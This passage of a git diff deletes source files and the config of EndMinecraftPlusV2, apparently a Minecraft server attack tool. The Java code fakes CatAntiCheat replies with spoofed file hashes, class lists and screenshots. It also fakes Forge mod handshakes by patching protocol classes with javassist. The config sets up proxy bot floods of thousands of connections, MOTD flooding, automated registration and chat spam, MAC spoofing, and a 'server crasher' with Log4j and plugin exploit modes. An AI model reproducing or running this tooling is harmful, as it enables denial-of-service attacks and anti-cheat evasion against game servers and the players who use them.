gzipOutputStream = new GZIPOutputStream(outputStream); - gzipOutputStream.write(saltMap.get(session)); - - BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(gzipOutputStream, StandardCharsets.UTF_8)); - for (int i = 0; i < fileHashList.size(); i++) { - if (i > 0) writer.newLine(); - writer.write(fileHashList.get(i)); - } - writer.flush(); - writer.close(); - } catch (IOException e) { - throw new RuntimeException(e); - } - - byte[] gzipData = outputStream.toByteArray(); - - out.writeByte(sendPacketID); - out.writeShort(gzipData.length); - out.writeBytes(gzipData); - out.writeInt(Arrays.hashCode(gzipData)); - - // LogUtil.doLog(0,"发送PluginMessage: " + "CatAntiCheat" + " | " + Arrays.toString(buf.toByteArray()), "CatAntiCheat"); - LogUtil.doLog(0, "[PacketHandler] [" + username + "] 已发送FileCheck数据。", "CatAntiCheat"); - session.send(new ClientPluginMessagePacket("CatAntiCheat", buf.toByteArray())); - break; - case 2: - // Class Check packet reply - sendPacketID = 6; - - List foundClassList = ConfigUtil.CACLoadedClass; - - out.writeByte(sendPacketID); - out.writeShort(foundClassList.size()); - - for (String s:foundClassList) { - writeUTF8String(out, s); - } - - out.writeByte(saltMap.get(session)); - - // LogUtil.doLog(0,"发送PluginMessage: " + "CatAntiCheat" + " | " + Arrays.toString(buf.toByteArray()), "CatAntiCheat"); - LogUtil.doLog(0, "[PacketHandler] [" + username + "] 已发送ClassCheck数据。", "CatAntiCheat"); - session.send(new ClientPluginMessagePacket("CatAntiCheat", buf.toByteArray())); - // break; - case 3: - // Screenshot packet reply - sendPacketID = 8; - File imageFile = ConfigUtil.CACCustomScreenShot; - byte[] imageData = getImageData(imageFile); - - out.writeByte(sendPacketID); - - ByteArrayInputStream in = new ByteArrayInputStream(imageData); - - try { - byte[] networkData = new byte[32763]; - int size; - while ((size = in.read(networkData)) >= 0) { - ByteArrayOutputStream incomingData = new ByteArrayOutputStream(); - StreamNetOutput streamNetOutput = new StreamNetOutput(incomingData); - - streamNetOutput.writeByte(sendPacketID); - streamNetOutput.writeBoolean(in.available() == 0); - - if (networkData.length == size) { - streamNetOutput.writeBytes(networkData); - } else { - streamNetOutput.writeBytes(Arrays.copyOf(networkData, size)); - } - - session.send(new ClientPluginMessagePacket("CatAntiCheat", incomingData.toByteArray())); - // LogUtil.doLog(0,"发送PluginMessage: " + "CatAntiCheat" + " | " + Arrays.toString(incomingData.toByteArray()), "CatAntiCheat"); - } - - LogUtil.doLog(0, "[PacketHandler] [" + username + "] 已发送ImageData数据。", "CatAntiCheat"); - } catch (IOException e) { - LogUtil.doLog(1, "[PacketHandler] [" + username + "] 发送ImageData数据时发生错误。", "CatAntiCheat"); - } - break; - case 9: - // Data Check packet reply - sendPacketID = 10; - boolean isLighting = false; - boolean isTransparentTexture = false; - - out.writeByte(sendPacketID); - out.writeBoolean(isLighting); - out.writeBoolean(isTransparentTexture); - - // LogUtil.doLog(0,"发送PluginMessage: " + "CatAntiCheat" + " | " + Arrays.toString(buf.toByteArray()), "CatAntiCheat"); - LogUtil.doLog(0, "[PacketHandler] [" + username + "] 已发送VanillaCheck数据。", "CatAntiCheat"); - session.send(new ClientPluginMessagePacket("CatAntiCheat", buf.toByteArray())); - break; - } - } - - public static List getFileHashList(File filesDir) { - List fileHashList = new ArrayList<>(); - - for (File file: Objects.requireNonNull(filesDir.listFiles())) { - fileHashList.add(getFileHash(file)); - } - - return fileHashList; - } - - private static String getFileHash(File file) { - try { - try (InputStream in = Files.newInputStream(file.toPath())) { - return calcHash(in) + "\0" + file.getName(); - } - } catch (IOException ignored) { } - return null; - } - - private static String calcHash(InputStream in) throws IOException { - try { - MessageDigest md = MessageDigest.getInstance("SHA1"); - - final byte[] buffer = new byte[4096]; - int read = in.read(buffer, 0, 4096); - - while (read > -1) { - md.update(buffer, 0, read); - read = in.read(buffer, 0, 4096); - } - - byte[] digest = md.digest(); - return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest)).toUpperCase(); - } catch (NoSuchAlgorithmException e) { - throw new RuntimeException(e); - } - } - - public static void writeUTF8String(StreamNetOutput to, String string) throws IOException { - byte[] utf8Bytes = string.getBytes(StandardCharsets.UTF_8); - writeVarInt(to, utf8Bytes.length); - to.writeBytes(utf8Bytes); - } - - public static void writeVarInt(StreamNetOutput to, int toWrite) throws IOException { - while((toWrite & -128) != 0) { - to.writeByte(toWrite & 127 | 128); - toWrite >>>= 7; - } - - to.writeByte(toWrite); - } - - public static byte[] getImageData(File imageFile) { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - try { - GZIPOutputStream gzipOutputStream = new GZIPOutputStream(out); - BufferedImage bufferedImage = ImageIO.read(imageFile); - ImageIO.write(bufferedImage, "png", gzipOutputStream); - gzipOutputStream.flush(); - gzipOutputStream.close(); - } catch (Exception ignored) {} - - return out.toByteArray(); - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForge.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForge.java deleted file mode 100644 index 891aaba..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForge.java +++ /dev/null @@ -1,100 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol; - -import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket; -import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket; -import org.spacehq.packetlib.Session; -import org.spacehq.packetlib.event.session.*; - -import java.lang.reflect.Field; -import java.util.Map; - -public class MCForge { - private final MCForgeHandShake handshake; - - public Map modList; - public Session session; - - public MCForge(Session session, Map modList) { - this.modList = modList; - this.session = session; - this.handshake = isAfterVersion1_13() ? new MCForgeHandShakeV2(this) : new MCForgeHandShakeV1(this); - } - - public void init() { - this.session.addListener(new SessionListener() { - public void packetReceived(PacketReceivedEvent e) { - if (e.getPacket() instanceof ServerPluginMessagePacket) { - handle(e.getPacket()); - } else if (e.getPacket().getClass().getSimpleName().equals("LoginPluginRequestPacket")) { - handshake.handle(e.getPacket()); - } - } - - public void packetSent(PacketSentEvent e) { - } - - public void connected(ConnectedEvent e) { - modifyHost(); - } - - public void disconnecting(DisconnectingEvent e) { - } - - public void disconnected(DisconnectedEvent e) { - } - }); - } - - public void handle(ServerPluginMessagePacket packet) { - switch (packet.getChannel()) { - case "FML|HS": - this.handshake.handle(packet); - break; - case "REGISTER": - case "minecraft:register": // 1.13 - this.session.send(new ClientPluginMessagePacket(packet.getChannel(), packet.getData())); - break; - case "MC|Brand": - case "minecraft:brand": // 1.13 - this.session.send(new ClientPluginMessagePacket(packet.getChannel(), "fml,forge".getBytes())); - break; - } - } - - public void modifyHost() { - try { - Class cls = this.session.getClass().getSuperclass(); - - Field field = cls.getDeclaredField("host"); - field.setAccessible(true); - - field.set(this.session, this.session.getHost() + "\0" + handshake.getFMLVersion() + "\0"); - } catch (Exception e) { - e.printStackTrace(); - } - } - - public static boolean isVersion1710() { - return (getProtocolVersion() == 5); - } - - public static boolean isAfterVersion1_13() { - return (getProtocolVersion() >= 393); - } - - public static int getProtocolVersion() { - try { - Class cls; - try { - cls = Class.forName("org.spacehq.mc.protocol.ProtocolConstants"); - } catch (ClassNotFoundException e) { - cls = Class.forName("org.spacehq.mc.protocol.MinecraftConstants"); - } - - Field field = cls.getDeclaredField("PROTOCOL_VERSION"); - return field.getInt(null); - } catch (Exception e) { - return 0; - } - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeHandShake.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeHandShake.java deleted file mode 100644 index ffe2d8e..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeHandShake.java +++ /dev/null @@ -1,14 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol; - -import org.spacehq.packetlib.packet.Packet; - -public abstract class MCForgeHandShake { - protected MCForge forge; - - public MCForgeHandShake(MCForge forge) { - this.forge = forge; - } - - public abstract void handle(Packet recvPacket); - public abstract String getFMLVersion(); -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeHandShakeV1.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeHandShakeV1.java deleted file mode 100644 index 4258163..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeHandShakeV1.java +++ /dev/null @@ -1,75 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol; - -import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket; -import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket; -import org.spacehq.packetlib.Session; -import org.spacehq.packetlib.io.stream.StreamNetOutput; -import org.spacehq.packetlib.packet.Packet; - -import java.io.ByteArrayOutputStream; -import java.io.IOException; - -public class MCForgeHandShakeV1 extends MCForgeHandShake { - public MCForgeHandShakeV1(MCForge forge) { - super(forge); - } - - public void handle(Packet recvPacket) { - ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket; - Session session = forge.session; - - byte[] data = packet.getData(); - int packetID = data[0]; - - switch (packetID) { - case 0: // Hello - sendPluginMessage(session, packet.getChannel(), new byte[] { 0x01, 0x02 }); - - // ModList - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - StreamNetOutput out = new StreamNetOutput(buf); - try { - out.writeVarInt(2); - out.writeByte(forge.modList.size()); - forge.modList.forEach((k, v) -> { - try { - out.writeString(k); - out.writeString(v); - } catch (IOException e) { - e.printStackTrace(); - } - }); - } catch (IOException e) { - e.printStackTrace(); - } - sendPluginMessage(session, packet.getChannel(), buf.toByteArray()); - break; - case 2: // ModList - sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x02 }); // ACK(WAITING SERVER DATA) - break; - case 3: // RegistryData - sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x03 }); // ACK(WAITING SERVER COMPLETE) - break; - case -1: // HandshakeAck - int ackID = data[1]; - switch (ackID) { - case 2: // WAITING CACK - sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x04 }); // PENDING COMPLETE - break; - case 3: // COMPLETE - sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x05 }); // COMPLETE - break; - default: - } - default: - } - } - - public String getFMLVersion() { - return "FML"; - } - - private void sendPluginMessage(Session session, String channel, byte[] data) { - session.send(new ClientPluginMessagePacket(channel, data)); - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeHandShakeV2.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeHandShakeV2.java deleted file mode 100644 index cc47c2d..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeHandShakeV2.java +++ /dev/null @@ -1,158 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol; - -import org.spacehq.mc.protocol.packet.login.client.LoginPluginResponsePacket; -import org.spacehq.mc.protocol.packet.login.server.LoginPluginRequestPacket; -import org.spacehq.packetlib.io.buffer.ByteBufferNetInput; -import org.spacehq.packetlib.io.stream.StreamNetOutput; -import org.spacehq.packetlib.packet.Packet; - -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.nio.ByteBuffer; -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; - -public class MCForgeHandShakeV2 extends MCForgeHandShake { - private final int Packet_S2CModList = 1; - private final int Packet_C2SModListReply = 2; - private final int Packet_S2CRegistry = 3; - private final int Packet_S2CConfigData = 4; - private final int Packet_C2SAcknowledge = 99; - - public MCForgeHandShakeV2(MCForge forge) { - super(forge); - } - - public void handle(Packet recvPacket) { - LoginPluginRequestPacket packet = (LoginPluginRequestPacket) recvPacket; - if (!packet.getChannel().equals("fml:loginwrapper")) return; - - try { - LoginWrapper loginWrapper = new LoginWrapper().fromBytes(packet.getData()); - String targetNetworkReceiver = loginWrapper.getTargetNetworkReceiver(); - ByteBufferNetInput in = new ByteBufferNetInput(ByteBuffer.wrap(loginWrapper.getPayload())); - - int packetID = in.readByte(); - switch (packetID) { - case Packet_S2CModList: { - // recv: S2CModList - final List mods = new ArrayList<>(); - int len = in.readVarInt(); - for (int x = 0; x < len; x++) - mods.add(in.readString()); - - final Map channels = new HashMap<>(); - len = in.readVarInt(); - for (int x = 0; x < len; x++) - channels.put(in.readString(), in.readString()); - - final List registries = new ArrayList<>(); - len = in.readVarInt(); - for (int x = 0; x < len; x++) - registries.add(in.readString()); - // send: C2SModListReply - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - StreamNetOutput out = new StreamNetOutput(buf); - - out.writeByte(Packet_C2SModListReply); - - out.writeVarInt(mods.size()); - mods.forEach(m -> { - try { - out.writeString(m); - } catch (IOException e) { - e.printStackTrace(); - } - }); - - out.writeVarInt(channels.size()); - channels.forEach((k, v) -> { - try { - out.writeString(k); - out.writeString(v); - } catch (IOException e) { - e.printStackTrace(); - } - }); - - // TODO: Fill with known hashes, which requires keeping a file cache (FMLHandshakeMessages.java) - out.writeVarInt(0); // empty map - /* - out.writeVarInt(registries.size()); - registries.forEach(r -> { - try { - out.writeString(r); - out.writeString(""); - } catch (IOException e) { - e.printStackTrace(); - } - }); - */ - - reply(packet.getMessageId(), targetNetworkReceiver, buf.toByteArray()); - break; - } - case Packet_S2CRegistry: - case Packet_S2CConfigData: { - // recv: S2CRegistry - // send: C2SAcknowledge - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - StreamNetOutput out = new StreamNetOutput(buf); - - out.writeByte(Packet_C2SAcknowledge); - - reply(packet.getMessageId(), targetNetworkReceiver, buf.toByteArray()); - break; - }// recv: S2CConfigData - } - } catch (Exception ex) { - forge.session.disconnect("Failure to handshake", ex); - } - } - - public String getFMLVersion() { - return "FML2"; - } - - private void reply(int id, String targetNetworkReceiver, byte[] payload) throws IOException { - forge.session.send(new LoginPluginResponsePacket(id, new LoginWrapper(targetNetworkReceiver, payload).toBytes())); - } - - static class LoginWrapper { - private String targetNetworkReceiver; - private byte[] payload; - - public LoginWrapper() {} - public LoginWrapper(String targetNetworkReceiver, byte[] payload) { - this.targetNetworkReceiver = targetNetworkReceiver; - this.payload = payload; - } - - public LoginWrapper fromBytes(byte[] bytes) throws IOException { - ByteBufferNetInput in = new ByteBufferNetInput(ByteBuffer.wrap(bytes)); - this.targetNetworkReceiver = in.readString(); - this.payload = in.readBytes(in.readVarInt()); - return this; - } - - public byte[] toBytes() throws IOException { - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - StreamNetOutput pb = new StreamNetOutput(buf); - pb.writeString(targetNetworkReceiver); - pb.writeVarInt(payload.length); - pb.writeBytes(payload); - - return buf.toByteArray(); - } - - public String getTargetNetworkReceiver() { - return this.targetNetworkReceiver; - } - - public byte[] getPayload() { - return this.payload; - } - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeInject.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeInject.java deleted file mode 100644 index bcc9818..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeInject.java +++ /dev/null @@ -1,52 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol; - -import javassist.ClassPool; -import javassist.CtClass; -import javassist.CtMethod; - -public class MCForgeInject { - public static boolean inject() { - - try { - if (MCForge.isVersion1710()) { - injectPluginMessage(); - injectTryCatch("org.spacehq.mc.protocol.packet.ingame.server.entity.spawn.ServerSpawnMobPacket", "read", - "{$1.readBytes($1.available());return;}"); - injectTryCatch("org.spacehq.mc.protocol.packet.ingame.server.world.ServerUpdateTileEntityPacket", - "read", "{$1.readBytes($1.available());return;}"); - injectTryCatch("org.spacehq.packetlib.packet.PacketProtocol", "createIncomingPacket", - "{return luohuayu.MCForgeProtocol.MCForgeUtils.createUnknowPacket();}"); - } else { - ClassPool classPool = ClassPool.getDefault(); - CtClass ctClass = classPool.getOrNull("org.spacehq.mc.protocol.data.MagicValues"); - if (ctClass == null) - ctClass = classPool.get("org.spacehq.mc.protocol.data.game.MagicValues"); - CtMethod method1 = ctClass.getDeclaredMethod("key"); - method1.addCatch("{return null;}", classPool.get("java.lang.Exception")); - CtMethod method2 = ctClass.getDeclaredMethod("value"); - method2.addCatch("{return null;}", classPool.get("java.lang.Exception")); - ctClass.toClass(); - } - return true; - } catch (Exception e) { - return false; - } - } - - public static void injectPluginMessage() throws Exception { - ClassPool classPool = ClassPool.getDefault(); - CtClass ctClass = classPool.get("org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket"); - CtMethod method = ctClass.getDeclaredMethod("read"); - method.setBody("{this.channel=$1.readString();\n" - + "this.data=$1.readBytes(luohuayu.MCForgeProtocol.MCForgeUtils.readVarShort($1));}"); - ctClass.toClass(); - } - - public static void injectTryCatch(String cls, String func, String code) throws Exception { - ClassPool classPool = ClassPool.getDefault(); - CtClass ctClass = classPool.get(cls); - CtMethod method = ctClass.getDeclaredMethod(func); - method.addCatch(code, classPool.get("java.lang.Exception")); - ctClass.toClass(); - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeMOTD.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeMOTD.java deleted file mode 100644 index 1b39ac7..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeMOTD.java +++ /dev/null @@ -1,144 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol; - -import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil; -import com.google.gson.Gson; - -import java.io.ByteArrayOutputStream; -import java.io.DataInputStream; -import java.io.DataOutputStream; -import java.io.IOException; -import java.net.InetSocketAddress; -import java.net.Socket; -import java.util.HashMap; -import java.util.Map; - -public class MCForgeMOTD { - public Map pingGetModsList(String ip, int port, int version) { - Map modList = new HashMap(); - Socket socket = new Socket(); - try { - socket.connect(new InetSocketAddress(ip, port)); - if(socket.isConnected()) { - DataOutputStream out = new DataOutputStream(socket.getOutputStream()); - - ByteArrayOutputStream packet = new ByteArrayOutputStream(); - DataOutputStream packetOut = new DataOutputStream(packet); - - packetOut.writeByte(0); // handshake packet id - writeVarInt(packetOut, version); // version - writeVarInt(packetOut, ip.length()); // host length - packetOut.writeBytes(ip); // host - packetOut.writeShort(port); // port - writeVarInt(packetOut, 1); // next to status - - writeVarInt(out, packet.size()); // packet length - out.write(packet.toByteArray()); // handshake packet - - out.writeByte(1); // packet length - out.writeByte(0); // status packet id - - out.flush(); - - DataInputStream in = new DataInputStream(socket.getInputStream()); - readVarInt(in); // packet length - int packetID = readVarInt(in); - int dataLength = readVarInt(in); - - if (packetID == 0 && dataLength > 0) { // Response - byte[] responseData = new byte[dataLength]; - in.readFully(responseData); - Response response = new Gson().fromJson(new String(responseData), Response.class); - if (response.modinfo != null) { - for (Response.ModInfo.ModID modid : response.modinfo.modList) { - modList.put(modid.modid, modid.version); - } - } - } - } - } catch (Exception e) { - - LogUtil.doLog(1, "获取服务器上的Forge Mods时发生错误。详细信息: " + e.getMessage(), null); - - try { - if (socket.isConnected()) - socket.close(); - } catch (IOException ignored) {} - } - return modList; - } - - /** - * @author thinkofdeath - * See: https://gist.github.com/thinkofdeath/e975ddee04e9c87faf22 - */ - public int readVarInt(DataInputStream in) throws IOException { - int i = 0; - int j = 0; - while (true) { - int k = in.readByte(); - - i |= (k & 0x7F) << j++ * 7; - - if (j > 5) - throw new RuntimeException("VarInt too big"); - - if ((k & 0x80) != 128) - break; - } - - return i; - } - - /** - * @throws IOException - * @author thinkofdeath - * See: https://gist.github.com/thinkofdeath/e975ddee04e9c87faf22 - */ - public void writeVarInt(DataOutputStream out, int paramInt) throws IOException { - while (true) { - if ((paramInt & 0xFFFFFF80) == 0) { - out.writeByte(paramInt); - return; - } - - out.writeByte(paramInt & 0x7F | 0x80); - paramInt >>>= 7; - } - } - - class Response { - public Object description; - public Players players; - public Version version; - public ModInfo modinfo; - - class Description { - public String text; - public String translate; - - public String getDescription() { - return text != null ? text : translate; - } - } - - class Players { - public int max; - public int online; - } - - class Version { - public String name; - public int protocol; - } - - class ModInfo { - public String type; - public ModID[] modList; - - class ModID { - public String modid; - public String version; - } - } - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeUtils.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeUtils.java deleted file mode 100644 index 2b986f4..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeUtils.java +++ /dev/null @@ -1,25 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol; - -import org.spacehq.packetlib.io.NetInput; - -import java.io.IOException; - -public class MCForgeUtils { - public static int readVarShort(NetInput in) throws IOException { - int low = in.readUnsignedShort(); - int high = 0; - if ((low & 0x8000) != 0) { - low = low & 0x7FFF; - high = in.readUnsignedByte(); - } - return ((high & 0xFF) << 15) | low; - } - - public static UnknownPacket createUnknownPacket() { - try { - return UnknownPacket.class.newInstance(); - } catch (Exception e) { - return null; - } - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/UnknownPacket.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/UnknownPacket.java deleted file mode 100644 index 9198c1c..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/UnknownPacket.java +++ /dev/null @@ -1,20 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol; - -import org.spacehq.packetlib.io.NetInput; -import org.spacehq.packetlib.io.NetOutput; -import org.spacehq.packetlib.packet.Packet; - -import java.io.IOException; - -public class UnknownPacket implements Packet { - public boolean isPriority() { - return false; - } - - public void read(NetInput in) throws IOException { - in.readBytes(in.available()); - } - - public void write(NetOutput out) { - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/ProtocolLibs.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/ProtocolLibs.java deleted file mode 100644 index f2b6dbf..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/ProtocolLibs.java +++ /dev/null @@ -1,133 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl; - -import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil; -import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil; -import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils; -import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol.MCForge; - -import java.io.File; -import java.util.*; - -public class ProtocolLibs { - public static boolean highVersion = false; - public static boolean adaptAfter578 = false; - public static boolean adaptAfter754 = false; - public static boolean adaptAfter758 = false; - public static boolean adaptAfter759 = false; - public static boolean adaptAfter760 = false; - public static void loadProtocolLib() { - if (ConfigUtil.AttackMethod.equals(2) || ConfigUtil.AttackMethod.equals(3)) { - return; - } - - LogUtil.doLog(0, "==========================================================", "ProtocolLib"); - choseProtocolVer(scanProtocolLibs(), scanSupportLibs()); - - int currentVersion; - - if (highVersion) { - currentVersion = cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge.getProtocolVersion(); - } else { - currentVersion = MCForge.getProtocolVersion(); - } - - if (currentVersion > 498 || currentVersion == -1) { - adaptAfter578 = true; - } - - if (currentVersion > 578 || currentVersion == -1) { - adaptAfter754 = true; - } - - if (currentVersion == -1) { - adaptAfter758 = true; - } - - try { - Class.forName("com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundSystemChatPacket"); - adaptAfter759 = true; - } catch (ClassNotFoundException ignored) {} - } - - public static List scanProtocolLibs() { - try { - Class.forName("javassist.CtClass"); - } catch (ClassNotFoundException e) { - OtherUtils.loadLibrary(new File("libs", "javassist-3.22.0-CR2.jar")); - } - - File libDir = new File("libs"); - if (!libDir.exists()) { - libDir.mkdir(); - } - - List versionLibs = new ArrayList<>(); - for (File file: Objects.requireNonNull(libDir.listFiles())) { - if ((file.getName().startsWith("MC-") || file.getName().startsWith("MCP-")) && file.getName().endsWith(".jar")) - versionLibs.add(file); - } - - Collections.sort(versionLibs); - return versionLibs; - } - - public static List scanSupportLibs() { - File libDir = new File("libs"); - if (!libDir.exists()) { - libDir.mkdir(); - } - - List supportLibs = new ArrayList<>(); - for (File file: Objects.requireNonNull(libDir.listFiles())) { - if (file.getName().endsWith(".jar")) - supportLibs.add(file); - } - - return supportLibs; - } - - public static void choseProtocolVer(List versionLibs, List supportLibs) { - for (int i = 0; i < versionLibs.size(); i++) { - String filename = versionLibs.get(i).getName(); - StringBuilder info = new StringBuilder(); - - if (filename.contains("MC-")) { - info.append("(").append(i + 1).append(")").append(" ").append(filename, "MC-".length(), filename.length() - ".jar".length()); - } else if (filename.contains("MCP-")) { - info.append("(").append(i + 1).append(")").append(" ").append(filename, "MCP-".length(), filename.length() - ".jar".length()); - } - - LogUtil.doLog(0, info.toString(), "ProtocolLib"); - } - - LogUtil.doLog(-1, "请选择一个Minecraft协议库版本: ", "ProtocolLib"); - - try { - Scanner scanner = new Scanner(System.in); - int sel = Integer.parseInt(scanner.nextLine()); - File versionLib = versionLibs.get(sel - 1); - - if (versionLib.getName().contains("MCP")) { - highVersion = true; - } - - if (versionLib.getName().contains("1.19.1")) { - adaptAfter760 = true; - } - - OtherUtils.loadLibrary(versionLib); - } catch (Exception e) { - LogUtil.emptyLog(); - LogUtil.doLog(1, "加载Minecraft协议库时发生错误! 详细信息:" + e, null); - LogUtil.doLog(0, "=========================错误排除=========================", "ProtocolLib"); - LogUtil.doLog(0, " 1.检查[/libs]文件夹内依赖库是否完整", "ProtocolLib"); - LogUtil.doLog(0, " 2.检查对应依赖库是否存在", "ProtocolLib"); - LogUtil.doLog(0, " (如[1.8]需要[MC-1.8.jar])", "ProtocolLib"); - LogUtil.doLog(0, " 3.请输入正确的协议库序号(如10)", "ProtocolLib"); - LogUtil.doLog(0, "==========================================================", "ProtocolLib"); - LogUtil.emptyLog(); - - choseProtocolVer(scanProtocolLibs(), scanSupportLibs()); - } - } -} diff --git a/src/config.yml b/src/config.yml deleted file mode 100644 index 921b827..0000000 --- a/src/config.yml +++ /dev/null @@ -1,115 +0,0 @@ -############################## -# EndMinecraftPlusV2 # -# Forked by SerendipityR # -############################## - -CfgVer: 6 - -AttackSettings: - Address: "example.com" - Port: 25565 - # 攻击方式: - # 1 - BotAttack - 集群假人(代理) - # 2 - MotdAttack - MOTD压测(无代理) - # 3 - MotdAttackP - MOTD压测(代理) - # 4 - DoubleAttack - 影分身攻击(代理,仅原版单服可用) - Method: 1 - Time: 3600 - ConnectDelay: 15 - ConnectTimeout: 5000 - # 实际连接数由代理质量和机器性能有关 - # 进行无代理Motd压测时不建议大于32 - MaxConnections: 2500 - # 旧版漏洞利用,大概率无效 - TabAttack: true - AntiAttackMode: true - DoubleExploitPlayer: "ImOldSix_666" - ShowFails: false - -AdvancedSettings: - # 启用Forge支持 - ForgeSupport: true - ModList: - - "exampleMod:1.0.0" - # 猫反作弊欺骗 - CatAntiCheat: - Enable: false - CustomScreenShot: "test.png" - # 类加载列表,请注意版本特征 - # 1.7.10 - net.minecraft.launchwrapper.ITweaker - # 1.12.2 - net.minecraft.launchwrapper.LaunchClassLoader - LoadedClass: - - "net.minecraft.launchwrapper.LaunchClassLoader" - # 需在mods文件夹中放入5个以上原始客户端模组 - LoadedMods: "mods" - # MAC|Check欺骗 - MACChecker: - RandomMAC: false - # 发 包 崩 服 - # 来自FDPClient的魔法道具~ - ServerCrasher: - Enable: false - # 1 - Book (BSign/BEdit) [仅1.8.X可用] - # 2 - Log4j Exploit - # 3 - WorldEdit - # 4 - MultiverseCore - # 5 - PEX - Mode: 1 - PacketDelay: 100 - -BotSettings: - # 可用占位符: - # $rnd - 随机字符 - # $pwd - 随机生成密码 - BotName: "ImOldSix_$rnd" - BotCount: 1000 - # 随机字符规则 (仅影响BotName): - # 1 - Normal - 简单随机化 - # 2 - Ili - iii混淆式 - # 3 - ABC - 纯字母 - # 4 - 123 - 纯数字 - RandomFlag: 1 - RandomMinLength: 6 - RandomMaxLength: 8 - # 尝试发送随机传送数据包 - RandomTeleport: false - RejoinCount: 5 - RejoinDelay: 3500 - RejoinDetect: - - "AntiAttack" - ClickVerifiesDetect: - - "点击验证" - Register&Login: true - RegisterCommands: - - "/register $pwd $pwd" - - "/login $pwd" - ChatSpam: true - CustomChat: - - "喵喵喵萌喵~ $rnd" - - "喵喵喵萌~ $rnd" - - "喵喵喵~ $rnd" - - "喵喵~ $rnd" - - "喵~ $rnd" - ChatDelay: 3000 - # 显示来自服务器的聊天信息 - ShowServerMessages: true - -Proxy: - # 代理获取方式: - # 1 - API - 从API获取 - # 2 - File - 